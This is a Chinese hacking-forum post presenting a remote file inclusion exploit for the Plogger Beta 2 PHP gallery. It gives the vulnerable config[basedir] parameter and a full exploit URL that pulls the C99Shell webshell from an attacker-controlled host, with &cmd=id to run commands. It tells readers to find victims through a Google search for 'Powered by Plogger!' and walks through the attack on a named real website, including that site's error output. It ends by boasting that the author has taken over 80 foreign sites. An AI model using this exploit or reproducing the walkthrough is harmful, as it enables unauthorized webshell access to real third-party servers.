注册
登录
| 关键词： functions PHP admin buckheadbuilders plog 漏洞 com gallery http Plogger |
作者：中华攻客 Plogger是一款基于PHP的网络日记程序。 Plogger未过滤用户提交的URI数据，可以利用漏洞以WEB权限执行任意命令。 漏洞在'plog-admin-functions.php'脚本对用户提交的'config[basedir]'参数没有过滤， 指定远程服务器上的任意PHP文件作为包含对象，可以以WEB权限执行任意PHP代码 EXP：http://www.hackeroo.com/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.hackeroo.com/[code] 恩，高手看到这就跑去拿WEBSHELL了，感觉是不是很像PollVote投票系统那个漏洞 原来我也是按照PollVote那个漏洞的思路去测试，但是并没有测试成功， 我们现在就要到国外的一款PHP木马了，C99Shell v. 1.0 利用过程非常简单 首先还是先进入http://www.google.com，搜索Powered by Plogger! 如果是Plogger Beta 2就可以利用了， 把C99Shell v. 1.0 传到自己的空间里保存形式为php.txt 搜索到一个http://buckheadbuilders.com/gallery/ 就他了 下面的是他默认后台，有漏洞的就是这“plog-admin-functions.php”文件 http://buckheadbuilders.com/gallery/admin/plog-admin-functions.php 恩，出错了Warning: main(/plog-functions.php): failed to open stream: No such file or directory in /hsphere/local/home/buckhead/buckheadbuilders.com/gallery/admin/plog-admin-functions.php on line 2 Fatal error: main(): Failed opening required '/plog-functions.php' (include_path='.:/usr/local/lib/php') in /hsphere/local/home/buckhead/buckheadbuilders.com/gallery/admin/plog-admin-functions.php on line 2 这样我把可以100%的拿到WEBSHELL了！ 执行 http://buckheadbuilders.com/gallery/admin/plog-admin-functions.php?config[basedir]=http://www.hackeroo.com/php.txt?&cmd=id php.txt里就是C99Shell v. 1.0 这款PHP木马了， 幸运的人``现在应该看到WEBSHELL了！！！ 中华攻客说已经拿了80多个国外站点了.大家可以....... |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
